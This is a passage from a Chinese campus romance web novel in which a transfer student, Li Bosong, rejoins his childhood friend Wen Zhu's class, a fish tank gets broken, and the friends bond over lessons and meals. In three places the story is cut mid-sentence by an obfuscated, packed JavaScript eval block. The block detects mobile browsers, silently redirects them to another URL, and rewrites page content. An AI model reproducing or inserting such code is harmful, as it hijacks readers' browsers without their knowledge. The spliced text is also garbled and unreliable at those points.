“小灿,”闻竹开口唤了一声,把小姑娘的注意力拉过来,“怎么在外面等?” 闻灿的注意力从棋盘上被拉了回来,她起身解释道:“今天太阳好,楼道里都不如室外暖和呢。” 闻竹抬手,帮她把围巾扎紧了些,“手机关机了啊。” “早上忘记充电了,刚才去超市借了充电宝。” “嗯,”闻竹偏头看了眼,问她:“还了吗?” 闻灿点头。 “姐,刚才你在和谁说话啊,泊松哥?” “嗯?”闻竹语气有点惊讶:“你看出来了?” “就是觉得很像,但是不太确定。” 闻竹点点头,她一边在羽绒服兜里摸出钥匙,一边随口道:“这么久不见了,你还能认出他来,我们小灿记忆力还是蛮好的。” 闻灿看着她,习惯了姐姐多年如一日把她当小孩子的样子,她的眼睛在光线并不好的楼道里也很亮。 “我怎么会不记得泊松哥,他不是你最好的朋友吗?你们两个还一起帮我做过科技制作的作业……” 这个事闻竹倒是忘了,“什么时候?”她问。 “好像是我三年级那年?当时还得了奖。” “唔,”钥匙旋转的声音响起,咔哒一声,闻竹开了门,她让妹妹先进屋,之后倚着门框想了想,说道:“他以前确实是我最好的朋友。” 4. 玻璃鱼缸 在三班待了一天,李泊松已经和自己周围这一片同学混得很熟了。毕雨泽本来就热爱社交,早早地就开始和李泊松称兄道弟。至于路一杭,考了一次数学卷子后,他就已经发现了和李泊松做朋友的好处。 李泊松的理科成绩不单单是好,而是学得很灵很通,一些大题的做法非常简单,而且因为思路清晰,步骤写得也很好。 路一杭也是挺君子的一个人,没觉得李泊松是自己的威胁,反而很高兴有这么一个厉害的同学。 毕雨泽也发现了和他做朋友的好处。 李泊松这人,单看脸和身材大概看不出运动细胞发不发达。然而午休和体育课大家一起打了两场球,毕雨泽就在心里吹口哨了,觉得这哥们牛得很,球技真不错。 他对李泊松的初印象是个挺幽默且成绩很好的帅哥,没想到这帅哥也是个课间十分钟都要去打篮球的主儿,和他“志趣相投”。 下节课是体育课,铃响之后,大家整整齐齐地起来和老师问好,路一杭难得没有像其他课间一样宅在班级里,下了课就套好了衣服去了卫生间,免得耽误最快乐的课堂。 宅在班里做题的变成了李泊松。他手边这道题马上做完,题不简单,放下了思路就断了,就没像前几次一样下课就跑出去打球,而是在全班都躁动起来的时候安静地在演算纸上写写算算。 毕雨泽在起身问过“老师休息”之后就一直没坐下,他伸了个长长的懒腰,从教室后面的储物架上捞出自己的篮球,又回头看着新同桌招呼道:“泊松,还算题呢,体育课了!” “嗯,马上。”李泊松小幅度地歪头,朝他摆了下手,“这就算完了。” 之后他撂下笔,修长的手指在书页的最后往前翻。 闻竹一边穿着外套,一边看他的动作,知道他是在找答案。 题目和答案之间的页数不多,李泊松却一反常态地没效率,来来回回翻看好几次,之后他撂下书,扯出刚才的草稿纸来看。 从打下课铃到现在已经过去了有两分钟,闻竹在等曲思嘉收拾的工夫一直倚着桌子看他,这会儿垂着眼睛开口了。 “你最后一步的数代错了,你……” 李泊松正好抬头,对上了闻竹的眼睛。 闻竹说话卡了个壳。 “哦,”李泊松恍然,用笔在草纸上勾了一下,他一点就通,把正确的数代了进去,毫不意外地得到了正确答案。 曲思嘉在喝水,闻竹等她,看李泊松做题就是打发时间,而且挺享受的。 李泊松没搭她的情,他弯弯唇角问闻竹:“怎么不早点告诉我?” 闻竹从小到大早习惯了他这一套,这会儿竟然难得地生出了点熟悉的感觉。 “你自己忙着去玩,犯这么低级的错误,还好意思怪别人。” 她听出了玩笑话,却也习惯性地回怼了一句,看李泊松还是那副好整以暇的样子,又语气无波无澜地补充道:“反省一下你自己。” 听了这话,他颔首,眉眼弯弯地比了个OK的手势:“嗯,好的。” 闻竹无话可说了。她手指灵活地把围巾围好并打了个结,转头发现前桌的曲思嘉在跟她的卫衣帽子作斗争,于是又探过身子帮她把帽子从冬季校服里扯出来,细致地把它整理成一个漏斗的形状。 在他们靠窗后排这几个人磨蹭的时候,班级里大部分同学都出了门。大多数人不像李泊松毕雨泽他们几个那样有下课十分钟还能跑出去打球的精力和体力,对于高中生来说,下课时间睡觉、去卫生间、去超市才是最常见的活动,如果不是还要吃饭,有的人一天都不会迈出教学楼。所以碰到体育课,同学们大多积极地想要出去感受一下外边的新鲜空气。 毕雨泽拿到了球,在等收拾桌面的李泊松和去了卫生间的路一杭。他把校规校纪扔到了脑后,把球扔到班级后边的墙壁上,球听话地弹回他手里,他再抛。 这个动作其实是很危险的,闻竹刚走过储物架那边,那个球忽然不听话起来,以很快的速度朝她飞过去。她虽然不喜欢打篮球,但从小和李泊松在一起长大,也和他一起打过不少次,看着飞过来的球也没有害怕。 拍开球很难,她肯定做不到,但是如果躲开的话,她身后的鱼缸…… 在闻竹纠结的这零点几秒之间,一只有力的手从她身后伸过来,迅速把她朝旁边揽了一下。 而后,还在班级里的所有同学都听到了清脆的玻璃碎裂地声音。 “哇哦。” 路一杭刚从后门进来就碰到了如此大场面,没忍住感叹了一下,然后他收到了曲思嘉的眼刀,闭了嘴。 闻竹看着扑棱的小鱼,不知所措的瞬间过去后,她就和李泊松一起把它们转移进了班级后门那个干净的红色水桶里。 在一片混乱里,混乱制造者毕雨泽想开口说点什么,但他认清形势后还是决定闭嘴。 闻竹、李泊松和路一杭三个人围成一个圈,都低头看着红色水桶里那三条活蹦乱跳的小鱼。小鱼安全了之后,闻竹才抽出空和李泊松道谢,他淡淡地“嗯”了声,在忙着百度用水桶养鱼的可行性时问她:“吓着了?” 闻竹摇头:“没有。” 毕雨泽自觉“罪孽深重”,在他们围成一圈的时候拿着拖布收拾好了玻璃碎片。 班级虽然不属于任何人,但班里的每个同学都属于这个集体,所以班级里有饮水机、储物柜、图书角,养花,这些都是很正常的,但李泊松第一次见到养鱼的班级。 这是集体凝聚力的一种表现吗? “所以,到底为什么要在班里养这个?”李泊松指着桶里活蹦乱跳的两条小鱼问道。虽然和大家的接触还非常少,但他已经发现了这个班级远超于他原来班级的活跃程度,这么一个玻璃容器放在架子上,说不好什么时候就被碰倒了。 路一杭知道来龙去脉,难得热心地给他讲述了事情的经过。 他听完点了点头。 “你竟然一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079121|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不惊讶?” 李泊松觉得这个主意很像闻竹能想出来的,因而只是笑笑。 大家都去帮毕雨泽收拾地上的玻璃了,毕雨泽匆忙地跟大家道歉,他们几个你看我我看他,都说没事,闻竹也叫他不要在意。 去上体育课的路上,闻竹和曲思嘉走在后边。毕雨泽两只手都揣在冬季校服兜里,发誓半小时之内不碰篮球,路一杭怒视他。 “你是怕冷吧?” “我是怕犯错误。” 他们两个对峙了一会儿,最后还是李泊松接过了那只篮球,他抬了下手,表示自己戴了手套。 下楼梯时,李泊松故意慢了两步走在后边,他想了想还是问闻竹:“为什么心情不好?” 闻竹的表情和神态都没什么变化,她觉得自己掩饰得很好,但是李泊松能看出来,这让她觉得有些意外。 “不清楚,可能突然发现了自己很胡闹。”闻竹实话实说。 “打扰一下,”李泊松单手抱着篮球,另一只手抬起来,有点讨打地问她:“你不是一直都这样吗?” “说什么呢,”闻竹斜了他一眼:“我早就改了,你不知道而已。” 曲思嘉在旁边听着他们两个的对话,若有所思地在两人之间扫视了一圈,李泊松也笑:“你是对那两条小金鱼很愧疚是吧,”球在他手里转了几圈,又因为手套的摩擦停了下来,“这个好说,我一会儿去买个新的鱼缸。” “哦,”闻竹没领情:“转学第一天你就要逃课?” 前边一直在谈论游戏的毕雨泽和路一杭突然停下脚步,在低几层的台阶仰头看着他们。 毕雨泽说:“我要去买,毕竟是我闲着扔球打碎的,这事怪我。” 他话音刚落,曲思嘉就接话道:“我觉得还是怪我,因为翻墙这个馊主意是我想的……我的错。” “……”闻竹说:“我不应该脑子一热就和大梁说要帮他养鱼,教室根本就不是适合养鱼的地方。”她在心里谴责自己,这和什么都没考虑就养猫或者生小孩一样不负责任。 路一杭推眼镜:“非要这么说的话,我觉得可以怪我,毕竟我没有阻止你们翻墙进来,也没有阻止你把鱼缸带回来。” “……” 李泊松终于看不下去了,他偏头看着闻竹,斟酌道:“其实,梁主任……你们叫大梁是吧。大梁自己的办公室不远处是校长室,然后就是平时没人去的实验室器材室。他不找人帮忙,难道让校长给他喂鱼吗?” “但是……” “停,”李泊松说,“这事翻篇了。” 闻竹没说话,好像默认了一般。毕雨泽抱着胳膊,眼睛滴溜溜地在李泊松和闻竹身上转了两圈,之后定格在他脸上。 “所以你为什么只安慰闻竹?”他问。 李泊松即答:“因为她有时候很较真。当然我也可以安慰一下你们,”他的视线一一扫过大家的脸,真诚道:“有人需要吗?” “……” 5. 女娲补天 当闻竹再次站在自己家门口,并且掏出钥匙开门的时候,有一种上次回来是好几年前的感觉。 她知道自己很夸张,但开学第一天实在是发生了太多事情。 打开门之后,家里亮着灯,她两只脚并用踩掉鞋子,一抬头,正好看到了端着茶壶下来的闻兴阳。 “晚上好,老爸。” 闻竹无精打采地打招呼道。 “晚上好啊闺女,外边冷吧?”闻兴阳倒是精神满满,闻竹猜他没有加班。他趿拉着棉拖走出去两步,突然转头看向闻竹,纳闷道:“你怎么没穿校服?” 闻竹在心里叹口气:“忘在家里了……” 知女莫若父母,虽然他这个女儿大多数时候都是没表情的样子,但如果说平时的状态是“淡然”,今天就显得很疲惫,懒得做出表情和累得不想做出表情还是两码事。听了她的话,闻兴阳自认为懂了:“被老师批评了?” “没有,但是今天发生了很多事,心累。” 他们几个因为晚上出校门买新鱼缸,大家都没有吃饭,在晚自习的空档五个脑袋围着鱼缸看那两条小鱼在里边游来游去,一边啃不会散发味道影响班级空气的面包。 闻竹每次吃得不多,容易饱也容易饿,于是打开冰箱,一边寻找做简单三明治的食材,一边和闻兴阳讲今天的事。 讲完这些之后,闻竹把芝士片夹进面包里,一口咬掉三明治的一角。闻兴阳把泡好的茶放在餐桌上,没说什么,只是兴致勃勃地给闻竹讲了讲养鱼的注意事项,闻竹打开手机备忘录,一条一条地记好。 闻竹学到了不少,心想这差事没有她想的那么容易。她三两口吃完自己的加餐,问道:“我妈什么时候回来?” “本来说是今天,但临时加了一个研讨会,所以要延迟到后天下午。” “哦,对了,老爸。”闻竹撑着下巴,“李泊松转学回来了。” - 虽然是在家里住的,但闻灿早早地把她叫醒了,又提醒闻竹别再忘记穿校服。闻竹打着哈欠去洗脸,在校车上依然昏昏欲睡。 闻竹如果在家住,大多数情况下都是坐校车去上学,她有点拖延症,如果不是着急坐车根本不会按时从床上起来。通常情况下,早晨的校车会比晚时段安静些,大概是大家都和她一样还没清醒。 坐在闻竹旁边的女生是隔壁二班的,她们两个经常分到一个考场,久而久之也熟悉了。闻竹上车的时候,她戴着耳机看着窗外。意识到闻竹坐在了旁边,女生摘掉耳机,颇为八卦地叫住人问道:“你们班昨天来了个转学生是吧?我的妈呀,可够帅的。” “嗯?”她偏头,车子正好路口转弯,早晨的一缕阳光打进车厢,她的睫毛在曦光中忽闪。“你都知道了?”她被女生的语气逗得有些想笑,又惊讶地问她。 “是啊,学习这么无聊,每天都得找点新鲜事。隔壁班转来一个帅哥,很难不注意一下。” 闻竹点了点头表示理解,她煞有介事道:“我们班也都特别兴奋。” “是吧,”说到这,对方的语气显得很遗憾:“你说这么个帅哥怎么没转来我们班呢,明明都是理尖,还挨得这么近。” 闻竹弯了下唇角,开玩笑:“去你们班的话,你们可能都得往下滑一个名次,挺让人不爽的。”闻竹是对成绩很计较的人,二班的前两名和她的成绩不相上下,她虽然从来不说,但每次都会在心里比一比。 无意之间帮李泊松装了一把,女生听了,表情由惋惜转向震惊:“真的假的??” “啊,不是假的。”闻竹不再多说了,她很自然地换了话题,问道:“你假期剪了头发?” “对,”听了她的话,女生抬手轻轻地扯了下肩膀处散落的发丝,其实没剪多少,但她觉得很不习惯,也不太自信。“怎么样,会不会觉得有点别扭?” “不会,”闻竹摇头,语气没什么变化,但是很让人信服。大概是因为她眼睛亮亮的,像折射了太阳光的宝石。她说:“很漂亮。” - 闻竹的成绩比较稳定,也没有明显的偏科,但她一直对自己的物理成绩非常苦恼,她这门科目的成绩很依赖运气,题目简单的时候分数要明显高于题目难的时候,无论是物理老师还是孟丽岩都和她聊过这个问题。 她自己也很清楚自己的短板在哪儿。而且现在都是单科考试,高考是理综,三科一起考的话,说不好会影响她做题的心情。 上课铃刚打响,毕雨泽滑进班里,把篮球随意地塞到椅子底下,眼睛看着语文老师,两只手在桌格里盲找昨天留的卷子。 他在老师的目视下摸出卷子,展平放在桌面上,铃声停下的时候,李泊松和其他几个男生正好开门进来。他们喊了报告,老师的视线也转而去盯着他们,李泊松是站得最直的那个,他呼吸很均匀,也没有大汗淋漓,不知道有没有去打球。 按理来说现在还没开始讲课,平时还没来得及进班的同学喊完报告就鱼贯而入了,这次却不然。他让其他同学回到了座位,留下了李泊松。 这位语文老师姓陈,他们在背后管他叫“老陈”。马上就退休了,嗓音很哑,一天估计能抽一整包烟,只要路过就能闻到他身上的烟草味。他在教学上非常严格,要求多得几乎到了苛刻的程度,然而讲课水平在整个临城都是一流,他带的每届学生成绩都很优异,大家对他还是很服气的。 “李泊松?”他站在讲台上,现在两个人大概一样高,他问:“我没认错吧?” 李泊松做着挨训的准备,礼貌地把头低下了些,他刚想回话,就听到陈老慢悠悠道:“你成绩挺好的,字写得也漂亮。” “……谢谢老师。”出于礼貌,他答道。 根据某些经验,李泊松觉得这是欲抑先扬,他的语文成绩是整个成绩单里最不能看的,甚至拉低了班级的平均分。 他在这么短的时间里反思了一下昨天一整天都没有反思的问题,站在陈老师的角度想,觉得自己罪孽颇重。 “学过书法?” “没有,”李泊松说完觉得不对,又改口:“学过毛笔字。”虽然只有几天。 “嗯,”老陈点了点头,转身到了讲桌旁边。李泊松没懂他的意思,于是依然站在门口没动。 “报告。”他被熟悉的声音吸引了,他微微偏头,门开了个缝,闻竹手里抱着一沓卷子探身进来,他们两个对视了一下,闻竹对他在这里站着没表现出意外,她只是低声说:“你让一让,挡着我了。” 李泊松听话地往右半步,还颇有眼力见地帮她关了身后的门。 “‘问君西游何时还’的下一句?”陈老师突然说话,李泊松迅速在脑子里检索答案,答道:“畏途巉岩不可攀。” 谢天谢地,高中必备篇目那么多,蜀道难是他难得能对答如流的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079122|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的庆幸在老师递给他粉笔的时候粉碎一地。 “写到黑板上。” “……” 李泊松毫不让人意外地把第三个字空出来了,说空出来也不太准确,因为他在放下笔之前还挣扎着写了个偏旁。 老陈回头看了眼黑板,没说什么,只是让他找个同学帮他补充完整。 李泊松不知道,这是语文课上的惯例,按照老陈的说法,没有为难任何人的意思,但如果他点到的同学也没有答上来,那两个人就都要被罚写。 在李泊松把视线投向讲台下的时候,闻竹刚好发完卷子,好巧不巧地和他的目光对上。她脑袋微微偏开,瞥了眼黑板,在语文课上当了一次热心群众。 把这个山字旁的复杂的字补完之后,闻竹放下粉笔,余光看到李泊松小幅度地朝她比了个双手合十的手势。闻竹觉得自己听到了李泊松的内心os,大概是谢谢救他之类的。 如果不是在课堂上,她真的会笑出来。 - 中午吃饭的时候,他们几个凑在一起,李泊松在不同人的口中总结出了这位陈老师的特点。 语文名师,有自己的独立工作室,带出过几届单科状元,教学水平没得挑。 比较变态的是他在教学上很严格,他们班的语文笔记平均有半本字典那么厚,高考必背篇目必须倒背如流。最后这条李泊松已经感受过了。 毕雨泽说完这句话之后,李泊松这种从没写过语文笔记的人打断他,一本正经地问道:“稍等一下,我想问,是真的倒背如流吗?” “……有一种修辞叫夸张。” 他刚放心了些,就听毕雨泽接着道:“但事实也差不多……虽然只有六分,老陈是要求每次考试都不能错一个字的。他神出鬼没的,自习课都有可能突然开门来考默写。” 曲思嘉在闻竹的盘子里夹了块锅包肉,补充道:“随机抽查嘛。” 李泊松沉默了。 “你的字真的挺漂亮的,”路一杭难得夸人,关注点和大家都不一样,他好奇道:“你之前的语文老师是不是不怎么管默写?” “嗯,不是很严格,而且我也比较懒,觉得这个板块的分……怎么说呢,性价比不是很高。” 性价比这个词和学习联系在一起挺时髦的,他们几个都笑了。 闻竹也笑:“不许装。” 李泊松听劝:“好的。” “所以你为什么最后还要把偏旁写上?你是真的不会写那个字,不是紧张忘了?”毕雨泽问他。 “是真的不会写,”李泊松笑:“我本来想空着的,但还是觉得要挣扎一下。我印象是‘巉岩’的意思是险峻的山岩,那就是山字旁吧,我就写上了。” “哦,高估了自己的肌肉记忆,以为能顺着写下去?”闻竹猜他的想法:“还是说,不会的题也要写个解?”她的目光落在李泊松脸上,心情颇好地开玩笑:“是不是从来没有这种感受?” 李泊松预想到了自己未来语文课会经历什么,只好叹气:“唉,也不是……” 吃过午饭之后,他就被叫到了语文组,回来之后,他语气沉痛地转达了陈老师对他的要求,在两个月的时间里,他需要保证自己以前三天打鱼两天晒网式学的古文全都背下来。 大家同时倒吸一口气,纷纷表示爱莫能助。闻竹点头,并不怎么真诚地说:“加油啊。” 6. 融入集体 今天的晚课是班主任孟丽岩上。李泊松低头做题太久,抬头揉了两下脖颈,眼睛瞥到了窗外钟楼上那口古老的大钟。 还有两分钟就放学了,班级没有任何骚动,大家都低着头奋笔疾书。 他难得溜了会号,看着外边的晚霞出神,出神中忽然很轻地叹了口气。毕雨泽的注意力只有三分钟,这声微不可查的叹气声传到他耳朵里,他偏头看过去。 李泊松顿了顿,抱歉地摇了摇头,而后他随着毕雨泽的视线看向讲台,发现老师已经把包挎好了,单手拎着车钥匙,一副随时准备冲出去的架势。 “保留节目。”毕雨泽小声说。 讲台上一道视线扫过来,毕雨泽感觉后背一凉,缩缩脖子闭了嘴。大概十几秒钟后,下课铃声打响,孟老师拎着车钥匙,一溜烟就不见了人影。 李泊松有点惊讶,挑眉问他:“怎么说?” “怕堵车……刚升高中的那个月我们都特别怕岩姐,第一次看到她打铃就跑出去都觉得自己眼花了。”毕雨泽有时候会因为训练翘掉晚课,但化学是他的弱科,所以他会尽量赶回来,他化学专项测试还差一道题,正在狂写。“和她的女强人形象不太符合,有种……呃,反差萌。” 今天下午毕雨泽还因为上课睡觉被岩姐训了一通,晚上谈起她却一点不高兴的意思都没有。李泊松觉得班级里绝大多数同学是真的喜欢这位孟老师的,不禁对她更佩服了些。 “你们都管她叫岩姐?”李泊松问,“孟老师好像也接受良好的样子?” “岩姐自己说的啊,每届学生都这么叫她。我们就背地里这么说,当面还是乖乖地叫老师。”毕雨泽神神秘秘地说:“在此之前,我们都偷着叫她孟严厉。” 丽岩,严厉。 李泊松笑了一下,看毕雨泽看着他,于是想了想,赞道:“有巧思。” “……” 闻竹收拾东西动作很快,她穿好衣服扎好围巾,一只手提着书包带子,另一只手轻巧地把座椅倒扣到桌面上。行云流水般地做完这些后,她把手机开了机,微信噼里啪啦地蹦出了一堆消息。 现在前后门挨着的两条街都堵得像电饭煲里的粥,校车还有将近二十分钟时间才会开走。闻竹家近,她也沉得住气,通常是最不着急回家的那类人。 曲思嘉放学回家有固定的同伴,闻竹她们两个基本上不一路走。和思嘉挥手告别之后,她就倚在窗边,一边无意识地跟着广播里的歌哼唱,一边回着微信消息。 毕雨泽把做完的化学题随手塞进桌格,拍了下李泊松的肩膀。 “走啊,泊松,去打球?” 李泊松想了想,问他:“咱们班的作业可以写不完吗?” 闻竹看他对这个提议很心动的样子,没等毕雨泽回话就冷漠道:“不行,每科都不行。” “好吧,”李泊松只好拒绝:“我得回家写作业。” “你好像很遗憾?”闻竹挑眉问。 李泊松笑着看她。 两人对视了几秒钟,很有默契地同时移开了目光。 十分钟后,他们两个走在教学楼前的双行道上,枯叶挂在树干上,地上的雪已经化净了,这个景象静态时有种冷寂的荒凉感,却因为这些放学吵吵闹闹的高中生硬生生地变得温馨起来。 校园广播还在循环播放曲库里的千禧年金曲,暖黄色灯光穿过树枝,像是金色彩带般洒在了地面上。路过体育馆时,闻竹听到了篮球拍在地面的声音。 在校门口附近碰到路一杭让他们两个都很意外。路一杭也是打铃就跑的人,如果是平时的话,这个点他差不多都到家了。 “怎么了?”他们互相打了个招呼,闻竹和李泊松走过去。 “车坏了。”这件事是今天早晨发生的,一中不允许学生在校园里骑车,他在校门口下车的时候,车链子正好掉了。 他简单解释了下车子故障的来龙去脉,闻竹听了点头道:“哦,掉的还挺是时候的,没坏在路上。” 路一杭:“……” 李泊松站在旁边轻笑了下。 “那你现在是要做什么?” 听到李泊松的问话,路一杭指了指校门口答道:“往西走第二个十字路口那儿有修车的地方。” 距离不太远,闻竹点点头,觉得还好,不是特别麻烦。 他们两个说话的时候,李泊松半蹲下/身,看了一下车子的链条和转盘。 路一杭不明白这动作是什么意思,闻竹低声和他说:“这意思应该是能帮你修。”他听完愣了一下,嘴张得像是能吃下一个鸡蛋。 闻竹见路一杭这个表情,没看懂他想表达的是惊讶还是不信,抑或两者都有,于是给他加了针定心剂:“他挺厉害的。” 话音刚落,李泊松语气轻松道:“我可以修,让我试一下。” 路一杭把嘴合上,闻竹抱着胳膊站在他身后,微微弯腰:“你用手修么?” 李泊松抬头,眉眼弯弯:“啊,那不然呢。” 闻竹知道他故意这么说,眼睛盯着他没接话。 李泊松认输地抬了下手:“要用老虎钳,等我一会儿,我去借。” 几分钟后,在路一杭目瞪口呆的时候,李泊松已经拿着老虎钳准备还给门卫了,他吃惊地闻竹:“你还真是了解他……不是,他初中的时候就会修车?” “啊,你知道我为什么知道么?”闻竹说了句绕口令一样的话,然后解释道:“初中的时候一放长假就会有那种劳动作业,比如说做了什么家务拍个照片传给老师,你也做过吧?” 路一杭点头表示理解。 “李泊松当时传的是修自行车的视频,”闻竹耸耸肩,补充:“还是我拍的。”而后,她把视线投向门卫的方向,看到李泊松和大爷高高兴兴地聊了两句后朝这边大步走过来。 路灯昏黄的灯光下,连带着他的发丝都张扬又温柔。 “OK……”路一杭服气了,他骑上车,和两人挥手:“明天请你们吃饭啊,明天见。” 李泊松手插在冲锋衣兜里,懒洋洋地抬眉笑了下:“客气什么。” - 闻竹咬着豆浆的吸管从后门进班的时候,班级大部分座位已经坐满了,只有他们那一片很空,路一杭在睡觉,李泊松对着窗站得笔直,如果不是他右手拎着语文书,闻竹甚至以为他在面壁思过。 她脚步放得很轻,凑近了看到李泊松在背《赤壁赋》,没想打扰他,看了眼正要转身走,李泊松突然拎起书看了一眼,这么一眼,正好看到了闻竹。 “早,”他侧头看着闻竹,手垂下,书页贴着他的校服裤线。闻竹点头,“早,背课文呢?” “是呀,”李泊松点头,语气很无奈:“还这个债好像女娲补天。” 闻竹被逗笑了,李泊松也弯了下唇,问她:“你这两天在家里住?” “嗯,我妈出差了,学校这边没人陪我。” 说完这话,她拉开毕雨泽的椅子,拿出昨天罢工没做完的卷子,李泊松还在窗边和《赤壁赋》作斗争,闻竹静下心来,周围的小声私语被她关在耳朵外边。 大概十分钟后,路一杭睡醒了,他伸了个懒腰,扯着椅子上的棉服起身,一转身却看到闻竹坐在自己后边的座位上,登时吓了一跳。 “我去——” 手里的笔尖在卷子上划了长长的一道,辅助线的尾巴好像要飞起来,闻竹抬头,路一杭接收到她的视线,问道:“你怎么来得这么早?” “坐校车。” 他们两个说话的时候,李泊松坐在旁边没动,路一杭地视线在两人之间流动,思考了一会儿终于问道:“你们俩这是谁给谁讲题呢?” 李泊松身子朝椅背仰了下,说“没有”,“没在讲题。” 闻竹心里憋着一股不服输的劲儿:“我刚写完最后这道大题,他非要说有更简单的解法。”闻竹在演算纸上重新画了题上的图,左手指了下旁边的男生。她按照李泊松刚才说的方式做辅助线,下笔如风,不再理会他们两个了。 “……” 路一杭看了眼时间,快早读了,赶忙去水房洗脸。 刚才路一杭在那睡觉,闻竹没叫醒他,因此就顺势坐在了毕雨泽这里,这会儿她正好回到自己座位,拎着书包起身的时候听到了很微弱的手机震动声。 “你不关机?岩姐没收的手机毕业之前都不会还。” “忘了,”李泊松单手从书包里摸出手机,按开了静音,也没看消息就又扔了回去,之后他起身,问闻竹:“要吃什么吗?” 闻竹摇头:“不吃。”她看着李泊松穿外套,语气平淡地提醒:“还有十分钟早读。” 李泊松眨眨眼,比了个OK的手势,说赶趟,拎着校服从后门出去了。 出门的时候正好和毕雨泽撞在一起,他们两个都有点惊讶,李泊松边套衣服边疑惑道:“今天不训练?” 毕雨泽笑出一口白牙:“教练请假了。”他随口问:“你干嘛去,上厕所?” 李泊松摇头:“背书背饿了,去吃点东西。” “哎,我早晨没吃饱,我也去。”毕雨泽反手把书包挂在了门把手上,搭着李泊松的肩下楼了。 路一杭洗完脸清醒了不少,他从后门进班级的时候还任命地帮毕雨泽把书包拎了进来。看到李泊松和毕雨泽的座位上都没人,他问:“人呢?” 闻竹:“加餐去了。” “哦,”路一杭伸长脖子往闻竹的卷子上瞥,闻竹看过去的时候他就收回视线,过了会儿,路一杭按捺不住地轻咳一声道:“闻竹,什么简单的解法我也想学……” 闻竹合上笔盖,面无表情地把卷子往旁边推了推,在心里尝试着用这种方法解以往做过的类似的题,表面却嘴硬:“其实也没有非常简单。” “……” - 毕雨泽是体育特长生,一般情况下早晚自习都是在体育馆度过的,今天教练有事,他难得落了个清闲,和李泊松两个人坐在学校超市落地窗边的长桌旁吃包子。 这个场景看起来颇为悠闲松弛,但事实却不是这样的,早读马上开始了,他们两个动作很快,也没有人注意吃相。 李泊松喝完最后一口牛奶,用湿巾细致地擦了手。 他来到这所高中没几天,别的体会还不太深,但这儿的饭都很好吃,这非常直观。 毕雨泽还在狼吞虎咽,他看着旁边人的动作,忽然想起什么似的说道:“泊松,周六你有空吗?” “有。” 听到他不经思考的回答,毕雨泽大笑:“你不应该问问我有什么事再说有空还是没空吗?” 他话音落下的时候,两个人同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079123|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到了那个“别问在吗,先说事情我再决定在不在”的梗。 李泊松也笑,他把几个奶黄包打包装袋,语气轻松道:“你有事找我帮忙我也得去啊。” “哎,够意思。” 毕雨泽点头,觉得闻竹认定的朋友都是经过了“质检”的,更别说是这种从小好到大的朋友了。 “我自己打了个茬,差点忘了要说啥……”毕雨泽挠挠头,接着刚才的话题道:“周六去吃烧烤啊,咱们几个。” 李泊松大概能想到“咱们几个”指的都是谁,有事找他帮忙他确实有空,但这会儿倒是后悔自己回答得太快了。 “吃烧烤?”李泊松重复了一遍,把湿纸巾扔进超市门口的垃圾桶,而后问:“我这边没问题……他们怎么说?” 毕竟这算是个小聚会,不是说毕雨泽一个人让他去他就可以去的。 毕雨泽显然没有李泊松想得周到。 “哦,这我倒是忘了问了。但是他们肯定会同意啊,闻竹的朋友本来就是我们的朋友,何况现在你本来就是我们的朋友。” 李泊松弯了下唇,无声地拍了下毕雨泽的肩膀。 大概就是沾了来自闻竹的光,他比预想中更快地融入了集体,再次体会到了读初中时那种热热闹闹的感觉。 两人走进班级后门,毕雨泽没在门把上看到自己的书包,在门后找了一会儿,路一杭看了他两眼,被他无语到翻了两个大白眼,经过李泊松的提醒他才终于看到了自己座位上的书包。 回到座位后,李泊松顺着窗户往外看,钟楼的那口古老的钟显示还有两分钟打铃。闻竹听到了后边的动静,偏头看了一眼,一只骨节分明的手正好伸到她眼皮底下,食指上挂着一个袋子。 闻竹现在的姿势有些别扭,她费劲地接过,嘴里问着“什么啊”,手却也没闲着,打开之后发现里边是奶黄包。她说“谢谢”,转头不客气地塞了一个进嘴里。 这一幕正好被毕雨泽看到了,他看着闻竹吃第二个奶黄包的时候,问道:“你让泊松给你带早饭?” “嗯?“闻竹嗓子里发出一个单音节,而后她咽下嘴里的东西,说:“我吃饭了。” 毕雨泽转头,纳闷道:“那你还给她买?” “也不是给她自己买的,她会分给别人啊,”毕雨泽看着闻竹拍曲思嘉肩膀的动作,觉得李泊松好像真的比他们了解闻竹。“而且我记得闻竹以前一天能吃好几顿,每次吃得都很少。这么一看,现在好像也是啊。” “怪不得说瘦的人都是少食多餐……” 李泊松笑了声。 他脱掉外套,露出早上随意穿在棉服里的黑色连帽卫衣。他本就晒不黑,皮肤好,黑色衬得他更白了。 